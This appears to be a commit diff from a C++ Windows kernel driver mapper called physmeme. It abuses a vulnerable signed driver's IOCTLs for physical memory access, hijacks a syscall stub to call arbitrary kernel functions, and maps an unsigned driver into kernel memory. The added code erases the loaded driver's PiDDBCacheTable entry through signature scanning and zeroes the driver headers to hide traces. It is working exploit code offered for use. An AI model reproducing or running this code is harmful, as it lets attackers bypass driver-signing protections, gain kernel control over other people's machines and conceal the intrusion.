printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva); printf("[+] ntoskrnl_buffer was 0x%p, nt_rva was 0x%p\n", ntoskrnl_buffer, nt_rva);
std::vector<std::thread> search_threads; std::vector<std::thread> search_threads;
//--- for each physical memory range, make a thread to search it //--- for each physical memory range, make a thread to search it
for (auto ranges : util::pmem_ranges) for (auto ranges : util::pmem_ranges)
search_threads.emplace_back(std::thread( search_threads.emplace_back(std::thread(
@ -36,12 +37,13 @@ namespace physmeme
for (std::thread& search_thread : search_threads) for (std::thread& search_thread : search_threads)
search_thread.join(); search_thread.join();
printf("[+] psyscall_func: 0x%p\n", psyscall_func.load()); printf("[+] psyscall_func: 0x%p\n", psyscall_func.load());
} }
void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const void kernel_ctx::map_syscall(std::uintptr_t begin, std::uintptr_t end) const
{ {
printf("[+] scanning from begin: 0x%p to: 0x%p\n", begin, begin + end);
//if the physical memory range is less then or equal to 2mb //if the physical memory range is less then or equal to 2mb
if (begin + end <= 0x1000 * 512) if (begin + end <= 0x1000 * 512)
{ {
@ -99,10 +101,106 @@ namespace physmeme
} }
} }
bool kernel_ctx::clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp)
{
static const auto piddb_lock =
util::memory::get_piddb_lock();
static const auto piddb_table =
util::memory::get_piddb_table();
if (!piddb_lock || !piddb_table)
return false;
static const auto ex_acquire_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExAcquireResourceExclusiveLite"
);
static const auto lookup_element_table =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlLookupElementGenericTableAvl"
);
static const auto release_resource =
util::get_kernel_export(
"ntoskrnl.exe",
"ExReleaseResourceLite"
);
static const auto delete_table_entry =
util::get_kernel_export(
"ntoskrnl.exe",
"RtlDeleteElementGenericTableAvl"
);
if (!ex_acquire_resource || !lookup_element_table || !release_resource)
return false;
PiDDBCacheEntry cache_entry;
const auto drv_name = std::wstring(file_name.begin(), file_name.end());
cache_entry.time_stamp = timestamp;
RtlInitUnicodeString(&cache_entry.driver_name, drv_name.data());
//
// ExAcquireResourceExclusiveLite
//
if (!syscall<ExAcquireResourceExclusiveLite>(ex_acquire_resource, piddb_lock, true))
return false;
//
// RtlLookupElementGenericTableAvl
//
PIDCacheobj* found_entry_ptr =
syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
if (found_entry_ptr)
{
//
// unlink entry.
//
PIDCacheobj found_entry = read_kernel<PIDCacheobj>(found_entry_ptr);
LIST_ENTRY NextEntry = read_kernel<LIST_ENTRY>(found_entry.list.Flink);
LIST_ENTRY PrevEntry = read_kernel<LIST_ENTRY>(found_entry.list.Blink);
PrevEntry.Flink = found_entry.list.Flink;
NextEntry.Blink = found_entry.list.Blink;
write_kernel<LIST_ENTRY>(found_entry.list.Blink, PrevEntry);
write_kernel<LIST_ENTRY>(found_entry.list.Flink, NextEntry);
//
// delete entry.
//
syscall<RtlDeleteElementGenericTableAvl>(delete_table_entry, piddb_table, found_entry_ptr);
//
// ensure the entry is 0
//
auto result = syscall<RtlLookupElementGenericTableAvl>(
lookup_element_table,
piddb_table,
reinterpret_cast<void*>(&cache_entry)
);
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return !result;
}
syscall<ExReleaseResourceLite>(release_resource, piddb_lock);
return false;
}
void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type) void* kernel_ctx::allocate_pool(std::size_t size, POOL_TYPE pool_type)
{ {
static const auto ex_alloc_pool = static const auto ex_alloc_pool =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"ExAllocatePool" "ExAllocatePool"
); );
@ -117,7 +215,7 @@ namespace physmeme
void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type) void* kernel_ctx::allocate_pool(std::size_t size, ULONG pool_tag, POOL_TYPE pool_type)
{ {
static const auto ex_alloc_pool_with_tag = static const auto ex_alloc_pool_with_tag =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"ExAllocatePoolWithTag" "ExAllocatePoolWithTag"
); );
@ -133,7 +231,7 @@ namespace physmeme
void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::read_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
@ -149,7 +247,7 @@ namespace physmeme
void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size) void kernel_ctx::write_kernel(void* addr, void* buffer, std::size_t size)
{ {
static const auto mm_copy_memory = static const auto mm_copy_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlCopyMemory" "RtlCopyMemory"
); );
@ -165,7 +263,7 @@ namespace physmeme
void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size) void kernel_ctx::zero_kernel_memory(void* addr, std::size_t size)
{ {
static const auto rtl_zero_memory = static const auto rtl_zero_memory =
util::get_module_export( util::get_kernel_export(
"ntoskrnl.exe", "ntoskrnl.exe",
"RtlZeroMemory" "RtlZeroMemory"
); );

@ -36,7 +36,7 @@ namespace physmeme
// //
// you can edit this how you choose, im hooking NtShutdownSystem. // you can edit this how you choose, im hooking NtShutdownSystem.
// //
inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtShutdownSystem", "ntdll.dll" }; inline const std::pair<std::string_view, std::string_view> syscall_hook = { "NtAddAtom", "ntdll.dll" };
class kernel_ctx class kernel_ctx
{ {
@ -67,17 +67,22 @@ namespace physmeme
void write_kernel(void* addr, void* buffer, std::size_t size); void write_kernel(void* addr, void* buffer, std::size_t size);
// //
// zero kernel memory using RtlZeroMemory // zero kernel memory using RtlZeroMemory
// //
void zero_kernel_memory(void* addr, std::size_t size); void zero_kernel_memory(void* addr, std::size_t size);
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
template <class T> template <class T>
T read_kernel(void* addr) T read_kernel(void* addr)
{ {
if (!addr) if (!addr)
return {}; return {};
T buffer; T buffer;
read_kernel(addr, &buffer, sizeof(T)); read_kernel(addr, (void*)&buffer, sizeof(T));
return buffer; return buffer;
} }
@ -85,13 +90,10 @@ namespace physmeme
void write_kernel(void* addr, const T& data) void write_kernel(void* addr, const T& data)
{ {
if (!addr) if (!addr)
return {}; return;
write_kernel(addr, &data, sizeof(T)); write_kernel(addr, (void*)&data, sizeof(T));
} }
//
// use this to call any function in the kernel
//
template <class T, class ... Ts> template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args)
{ {
@ -101,15 +103,11 @@ namespace physmeme
syscall_hook.first.data() syscall_hook.first.data()
); );
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr); hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...); auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func); hook::remove(psyscall_func);
return result; return result;
} }
private: private:
// //

@ -232,7 +232,7 @@ namespace driver
}; };
const auto service_name = random_file_name(16); const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + random_file_name(16); const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary); std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size()); output_file.write((char*)drv_buffer.data(), drv_buffer.size());
@ -267,11 +267,10 @@ namespace driver
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode); const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = util::get_service_image_path(service_name); const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_drv = std::filesystem::remove(image_path);
const bool delete_reg = util::delete_service_entry(service_name); const bool delete_reg = util::delete_service_entry(service_name);
const bool delete_drv = std::filesystem::remove(image_path);
return unload_drv && delete_drv && delete_reg; return unload_drv && delete_reg && delete_drv;
} }
return false; return false;
} }

@ -1,5 +1,6 @@
#include "kernel_ctx/kernel_ctx.h" #include "kernel_ctx/kernel_ctx.h"
#include "drv_image/drv_image.h" #include "drv_image/drv_image.h"
#include "raw_driver.hpp"
int __cdecl main(int argc, char** argv) int __cdecl main(int argc, char** argv)
{ {
@ -19,8 +20,33 @@ int __cdecl main(int argc, char** argv)
} }
physmeme::drv_image image(drv_buffer); physmeme::drv_image image(drv_buffer);
physmeme::load_drv();
physmeme::kernel_ctx ctx; physmeme::kernel_ctx ctx;
//
// unload exploitable driver
//
if (!physmeme::unload_drv())
{
perror("[!] unable to unload driver... all handles closed?\n");
return -1;
}
printf("[+] unloaded exploitable driver....\n");
//
// shoot the tires off piddb cache entry.
//
const auto drv_timestamp = util::get_file_header((void*)raw_driver)->TimeDateStamp;
printf("[+] clearing piddb cache for driver: %s, with timestamp 0x%x\n", physmeme::drv_key.c_str(), drv_timestamp);
if (!ctx.clear_piddb_cache(physmeme::drv_key, drv_timestamp))
{
// this is because the signature might be broken on these versions of windows.
perror("[-] failed to clear PiDDBCacheTable.\n");
return -1;
}
printf("[+] cleared piddb cache...\n");
// //
// lambdas used for fixing driver image // lambdas used for fixing driver image
// //
@ -31,7 +57,7 @@ int __cdecl main(int argc, char** argv)
const auto _get_export_name = [&](const char* base, const char* name) const auto _get_export_name = [&](const char* base, const char* name)
{ {
return reinterpret_cast<std::uintptr_t>(util::get_module_export(base, name)); return reinterpret_cast<std::uintptr_t>(util::get_kernel_export(base, name));
}; };
// //
@ -73,7 +99,7 @@ int __cdecl main(int argc, char** argv)
// //
auto result = ctx.syscall<DRIVER_INITIALIZE>( auto result = ctx.syscall<DRIVER_INITIALIZE>(
reinterpret_cast<void*>(entry_point), reinterpret_cast<void*>(entry_point),
reinterpret_cast<std::uintptr_t>(pool_base), reinterpret_cast<std::uintptr_t>(pool_base),
image.size() image.size()
); );
printf("[+] driver entry returned: 0x%p\n", result); printf("[+] driver entry returned: 0x%p\n", result);
@ -82,7 +108,6 @@ int __cdecl main(int argc, char** argv)
// zero driver headers // zero driver headers
// //
ctx.zero_kernel_memory(pool_base, image.header_size()); ctx.zero_kernel_memory(pool_base, image.header_size());
physmeme::unload_drv();
printf("[=] press enter to close\n"); printf("[=] press enter to close\n");
std::cin.get(); std::cin.get();
} }

@ -0,0 +1,92 @@
#pragma once
#include <windows.h>
#include <mutex>
#include <cstdint>
#include <map>
#include "../util/util.hpp"
#include "../loadup.hpp"
#include "../raw_driver.hpp"
#pragma pack ( push, 1 )
typedef struct _GIOMAP
{
unsigned long interface_type;
unsigned long bus;
std::uintptr_t physical_address;
unsigned long io_space;
unsigned long size;
} GIOMAP;
#pragma pack ( pop )
namespace physmeme
{
inline std::string drv_key;
//
// please code this function depending on your method of physical read/write.
//
inline HANDLE load_drv()
{
const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver));
drv_key = key;
return CreateFile(
"\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unload_drv()
{
return driver::unload(drv_key);
}
inline HANDLE drv_handle = load_drv();
//
// please code this function depending on your method of physical read/write.
//
inline std::uintptr_t map_phys(
std::uintptr_t addr,
std::size_t size
)
{
//--- ensure the validity of the address we are going to try and map
if (!util::is_valid(addr))
return NULL;
GIOMAP in_buffer = { 0, 0, addr, 0, size };
uintptr_t out_buffer[2] = { 0 };
unsigned long returned = 0;
DeviceIoControl(drv_handle, 0xC3502004, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
//
// please code this function depending on your method of physical read/write.
//
inline bool unmap_phys(
std::uintptr_t addr,
std::size_t size
)
{
uintptr_t in_buffer = addr;
uintptr_t out_buffer[2] = {sizeof(out_buffer)};
unsigned long returned = NULL;
DeviceIoControl(drv_handle, 0xC3502008, reinterpret_cast<LPVOID>(&in_buffer), sizeof(in_buffer),
reinterpret_cast<LPVOID>(out_buffer), sizeof(out_buffer), &returned, NULL);
return out_buffer[0];
}
}

@ -13,7 +13,7 @@
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommandArguments>C:\Users\interesting\Desktop\hello-world.sys</LocalDebuggerCommandArguments> <LocalDebuggerCommandArguments>C:\Users\xerox\Desktop\hello-world.sys</LocalDebuggerCommandArguments>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor> <DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup> </PropertyGroup>
</Project> </Project>

@ -22,16 +22,21 @@ typedef struct _GIOMAP
namespace physmeme namespace physmeme
{ {
inline std::string drv_key; inline std::string drv_key;
inline HANDLE drv_handle = NULL;
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //
inline HANDLE load_drv() inline bool load_drv()
{ {
const auto [result, key] = driver::load(raw_driver, sizeof(raw_driver)); const auto [result, key] =
drv_key = key; driver::load(
raw_driver,
sizeof(raw_driver)
);
return CreateFile( drv_key = key;
drv_handle = CreateFile(
"\\\\.\\GIO", "\\\\.\\GIO",
GENERIC_READ | GENERIC_WRITE, GENERIC_READ | GENERIC_WRITE,
NULL, NULL,
@ -40,6 +45,7 @@ namespace physmeme
FILE_ATTRIBUTE_NORMAL, FILE_ATTRIBUTE_NORMAL,
NULL NULL
); );
return drv_handle;
} }
// //
@ -47,11 +53,9 @@ namespace physmeme
// //
inline bool unload_drv() inline bool unload_drv()
{ {
return driver::unload(drv_key); return CloseHandle(drv_handle) && driver::unload(drv_key);
} }
inline HANDLE drv_handle = load_drv();
// //
// please code this function depending on your method of physical read/write. // please code this function depending on your method of physical read/write.
// //

@ -1,11 +1,16 @@
#pragma once #pragma once
#include <Windows.h> #include <Windows.h>
#include <winternl.h> #include <winternl.h>
#pragma comment(lib, "ntdll.lib")
constexpr auto ntoskrnl_path = "C:\\Windows\\System32\\ntoskrnl.exe"; #pragma comment(lib, "ntdll.lib")
constexpr auto page_size = 0x1000; constexpr auto page_size = 0x1000;
inline const char piddb_lock_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x8C\x24";
inline const char piddb_lock_mask[] = "xxx????x????xxxx";
inline const char piddb_table_sig[] = "\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x48\x8D\x1D\x00\x00\x00\x00\x48\x85\xC0\x0F";
inline const char piddb_table_mask[] = "xxx????x????xxx????xxxx";
constexpr auto SystemModuleInformation = 11; constexpr auto SystemModuleInformation = 11;
constexpr auto SystemHandleInformation = 16; constexpr auto SystemHandleInformation = 16;
constexpr auto SystemExtendedHandleInformation = 64; constexpr auto SystemExtendedHandleInformation = 64;
@ -13,6 +18,14 @@ constexpr auto SystemExtendedHandleInformation = 64;
#define MM_COPY_MEMORY_PHYSICAL 0x1 #define MM_COPY_MEMORY_PHYSICAL 0x1
#define MM_COPY_MEMORY_VIRTUAL 0x2 #define MM_COPY_MEMORY_VIRTUAL 0x2
typedef struct PiDDBCacheEntry
{
LIST_ENTRY list;
UNICODE_STRING driver_name;
ULONG time_stamp;
NTSTATUS load_status;
char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers
}PIDCacheobj;
typedef struct _SYSTEM_HANDLE typedef struct _SYSTEM_HANDLE
{ {
@ -91,4 +104,8 @@ typedef struct _MM_COPY_ADDRESS {
using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T); using ExAllocatePool = PVOID(__stdcall*) (POOL_TYPE, SIZE_T);
using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG); using ExAllocatePoolWithTag = PVOID(__stdcall*)(POOL_TYPE, SIZE_T, ULONG);
using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T); using MmCopyMemory = NTSTATUS (__stdcall*)(PVOID, MM_COPY_ADDRESS,SIZE_T,ULONG,PSIZE_T);
using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t); using DRIVER_INITIALIZE = NTSTATUS(__stdcall*)(std::uintptr_t, std::size_t);
using ExAcquireResourceExclusiveLite = BOOLEAN(__stdcall*)(void*,bool);
using RtlLookupElementGenericTableAvl = PIDCacheobj* (__stdcall*) (void*, void*);
using RtlDeleteElementGenericTableAvl = bool(__stdcall*)(void*,void*);
using ExReleaseResourceLite = bool(__stdcall*)(void*);

@ -9,6 +9,9 @@
#include <vector> #include <vector>
#include <ntstatus.h> #include <ntstatus.h>
#include <winternl.h> #include <winternl.h>
#include <array>
#include <algorithm>
#include <string_view>
#include "nt.hpp" #include "nt.hpp"
@ -49,6 +52,21 @@ namespace util
return true; return true;
})(); })();
inline PIMAGE_FILE_HEADER get_file_header(void* base_addr)
{
if (!base_addr || *(short*)base_addr != 0x5A4D)
return NULL;
PIMAGE_DOS_HEADER dos_headers =
reinterpret_cast<PIMAGE_DOS_HEADER>(base_addr);
PIMAGE_NT_HEADERS nt_headers =
reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<DWORD_PTR>(base_addr) + dos_headers->e_lfanew);
return &nt_headers->FileHeader;
}
// this was taken from wlan's drvmapper: // this was taken from wlan's drvmapper:
// https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7 // https://github.com/not-wlan/drvmap/blob/98d93cc7b5ec17875f815a9cb94e6d137b4047ee/drvmap/util.cpp#L7
static void open_binary_file(const std::string& file, std::vector<uint8_t>& data) static void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
@ -106,18 +124,28 @@ namespace util
// get base address of kernel module // get base address of kernel module
// //
// taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30 // taken from: https://github.com/z175/kdmapper/blob/master/kdmapper/utils.cpp#L30
static void* get_module_export(const char* module_name, const char* export_name, bool rva = false) static void* get_kernel_export(const char* module_name, const char* export_name, bool rva = false)
{ {
void* buffer = nullptr; void* buffer = nullptr;
DWORD buffer_size = 0; DWORD buffer_size = NULL;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size); NTSTATUS status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
while (status == STATUS_INFO_LENGTH_MISMATCH) while (status == STATUS_INFO_LENGTH_MISMATCH)
{ {
VirtualFree(buffer, 0, MEM_RELEASE); VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation), buffer, buffer_size, &buffer_size); status = NtQuerySystemInformation(
static_cast<SYSTEM_INFORMATION_CLASS>(SystemModuleInformation),
buffer,
buffer_size,
&buffer_size
);
} }
if (!NT_SUCCESS(status)) if (!NT_SUCCESS(status))
@ -130,7 +158,12 @@ namespace util
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx) for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
{ {
// find module and then load library it // find module and then load library it
const std::string current_module_name = std::string(reinterpret_cast<char*>(modules->Modules[idx].FullPathName) + modules->Modules[idx].OffsetToFileName); const std::string current_module_name =
std::string(reinterpret_cast<char*>(
modules->Modules[idx].FullPathName) +
modules->Modules[idx].OffsetToFileName
);
if (!_stricmp(current_module_name.c_str(), module_name)) if (!_stricmp(current_module_name.c_str(), module_name))
{ {
// had to shoot the tires off of "\\SystemRoot\\" // had to shoot the tires off of "\\SystemRoot\\"
@ -141,7 +174,13 @@ namespace util
std::string(getenv("SYSTEMROOT")).append("\\") std::string(getenv("SYSTEMROOT")).append("\\")
); );
auto module_base = LoadLibraryA(full_path.c_str()); const auto module_base =
LoadLibraryEx(
full_path.c_str(),
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
PIMAGE_DOS_HEADER p_idh; PIMAGE_DOS_HEADER p_idh;
PIMAGE_NT_HEADERS p_inh; PIMAGE_NT_HEADERS p_inh;
PIMAGE_EXPORT_DIRECTORY p_ied; PIMAGE_EXPORT_DIRECTORY p_ied;
@ -189,4 +228,117 @@ namespace util
VirtualFree(buffer, NULL, MEM_RELEASE); VirtualFree(buffer, NULL, MEM_RELEASE);
return NULL; return NULL;
} }
namespace memory
{
template<std::size_t pattern_length>
inline std::uintptr_t pattern_scan_kernel(const char(&signature)[pattern_length], const char(&mask)[pattern_length])
{
static const auto kernel_addr =
LoadLibraryEx(
"ntoskrnl.exe",
NULL,
DONT_RESOLVE_DLL_REFERENCES
);
static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(kernel_addr);
if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)kernel_addr + p_idh->e_lfanew);
if (p_inh->Signature != IMAGE_NT_SIGNATURE)
return NULL;
static auto current_section = reinterpret_cast<PIMAGE_SECTION_HEADER>(p_inh + 1);
static const auto first_section = current_section;
static const auto num_sec = p_inh->FileHeader.NumberOfSections;
static std::atomic<bool> ran_before = false;
//
// only run this once.
//
if(!ran_before.exchange(true))
for (; current_section < first_section + num_sec; ++current_section)
if(!strcmp(reinterpret_cast<char*>(current_section->Name), "PAGE"))
break;
static const auto page_section_begin =
reinterpret_cast<std::uint64_t>(kernel_addr) + current_section->VirtualAddress;
const auto pattern_view = std::string_view{
reinterpret_cast<char*>(page_section_begin),
current_section->SizeOfRawData
};
std::array<std::pair<char, char>, pattern_length - 1> pattern{};
for (std::size_t index = 0; index < pattern_length - 1; index++)
pattern[index] = { signature[index], mask[index] };
auto resultant_address = std::search(
pattern_view.cbegin(),
pattern_view.cend(),
pattern.cbegin(),
pattern.cend(),
[](char left, std::pair<char, char> right) -> bool {
return (right.second == '?' || left == right.first);
});
return resultant_address == pattern_view.cend() ? 0 : reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_lock()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_lock_sig,
piddb_lock_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
//
// be aware that this may not work for win8 or win7!
//
inline void* get_piddb_table()
{
static const auto absolute_addr_instruction =
pattern_scan_kernel(
piddb_table_sig,
piddb_table_mask
);
static const auto ntoskrnl_in_my_process =
reinterpret_cast<std::uintptr_t>(GetModuleHandle("ntoskrnl.exe"));
if (!absolute_addr_instruction || !ntoskrnl_in_my_process)
return {};
const auto lea_rip_rva = *(PLONG)(absolute_addr_instruction + 3);
const auto real_rva = (absolute_addr_instruction + 7 + lea_rip_rva) - ntoskrnl_in_my_process;
static const auto kernel_base = util::get_module_base("ntoskrnl.exe");
if (!kernel_base)
return {};
return reinterpret_cast<void*>(kernel_base + real_rva);
}
}
} }
Loading…
Cancel
Save